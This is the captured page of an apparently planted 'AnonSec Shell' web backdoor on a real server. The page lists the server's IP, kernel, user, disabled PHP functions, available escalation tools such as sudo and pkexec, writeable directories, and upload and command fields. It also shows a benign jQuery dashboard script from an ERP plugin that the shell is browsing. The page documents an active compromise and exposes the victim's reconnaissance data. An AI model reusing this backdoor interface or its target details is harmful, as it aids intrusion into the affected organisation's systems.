AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.216.192
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/erp/application/plugins/module_teammanagement/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/erp/application/plugins/module_teammanagement/assets/js/dashboard.js
$(document).ready(function ()
{
//    $('#filter-clear').on('click', function (event) {
//        event.preventDefault();
//        $("input[name=search]").val('');
//        $("input[name=period]").val('');
//        $("input[name=period_ini]").val('');
//        $("input[name=period_end]").val('');
//        $("input[name=employee_id]").val('');
//        $('#form-filter').submit();
//    });

    $(".datepicker").datepicker({
        language: $("#_lan").val(),
        autoclose: true,
        dateFormat: $("#_formatDate").val()
    });
    $('.dropdown-period').click(function (event) {
        event.stopPropagation();
    });

//    $('.filterUL a').on('click', function (event) {
//        event.preventDefault();
//
//        var situation = $(this).data('val');
//        $("input[name=" + $(this).data('type') + "]").val(situation);
//
//        $('#form-filter').submit();
//    });

    // Period all, day, week, month
    $('#filter-period a').on('click', function (event) {
        event.preventDefault();
        var period = $(this).data('val');
        $("input[name=period]").val(period);
        $('#form-filter').submit();
    });

    // Period interval datepicker close on selected
    $('input[name=period_ini]').on('change', function () {
        $(this).datepicker('hide');
    });
    $('input[name=period_ini_end]').on('change', function () {
        $(this).datepicker('hide');
    });

    // Period interval
    $('#period-filter-interval').on('click', function (event) {
        event.preventDefault();
            var ini = $('input[name=period_ini]').val();
            var end = $('input[name=period_end]').val();
            if(ini.length > 0 || end.length > 0)
                $("input[name=period]").val('interval');
                    
        $('#form-filter').submit();
    });
  
    $('#filter-clear').on('click', function(event) {
            event.preventDefault();
            $("input[name=period]").val('all');
            $('#form-filter').submit();
    });
    
    $('#crm_accounts_id').on('change', function(event) {
            event.preventDefault();
             window.location=$("#_url").val()+"module_teammanagement/dashboard/index/"+$(this).val();
    });
    findDataSelect("#crm_accounts_id",'contacts/ajax-listbytype/PJ', '');

    $('[data-toggle="tooltip"]').tooltip();
});

Anon7 - 2022
AnonSec Team